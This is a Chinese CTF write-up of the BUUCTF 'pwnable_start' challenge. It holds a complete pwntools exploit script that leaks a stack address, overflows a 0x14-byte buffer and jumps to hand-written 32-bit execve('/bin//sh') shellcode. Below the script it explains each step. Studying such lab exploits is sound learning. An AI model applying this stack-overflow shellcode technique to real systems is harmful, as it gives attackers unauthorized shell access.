题目
平台:BUUCTF
题目:pwnable_start
考点:32位手写shellcode
代码
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p = remote('node5.buuoj.cn', 27805)
#p=process('./start')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
p=gdb.debug('./start','b start')
elf = ELF('./start')
#libc=ELF('./libc-2.23.so')
p.sendafter(b'CTF:',b'a'*0x14+p32(0x8048087))
stack_addr = u32(p.recv(4))
shellcode = '''
xor ecx,ecx;
xor edx,edx;
push edx;
push 0x68732f6e;
push 0x69622f2f;
mov ebx,esp;
mov al,0xb;
int 0x80
'''
# push edx x00截断字符串
# 'hs/n'
# 'ib//'
payload = b'A'*0x14 + p32(stack_addr+0x14)+asm(shellcode)
p.send(payload)
p.interactive()
分析
IDA反编译看到先调用write的syscall,再调用read的syscall

read时候看到读入的大小是0x3c,距离返回地址的长度是0x14,那么确定存在栈溢出漏洞
第一次输入让其返回到write函数处打印出栈上的内容从而计算出下一次输入的地址
因为长度原因不能用pwntools直接生成的shellcode,手写shellcode:
-
先置零ecx、edx -
把0压入栈作为 /bin/sh
的结束标记 -
小端序压 /bin/sh
入栈 -
把 /bin/sh
的指针写入ebx -
把eax置为0xb -
int 0x80执行系统调用
最后重新输入payload,把返回地址覆盖为shellcode的地址即可
原文始发于微信公众号(智佳网络安全):CTF学习-PWN-ret2shellcode
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300831.html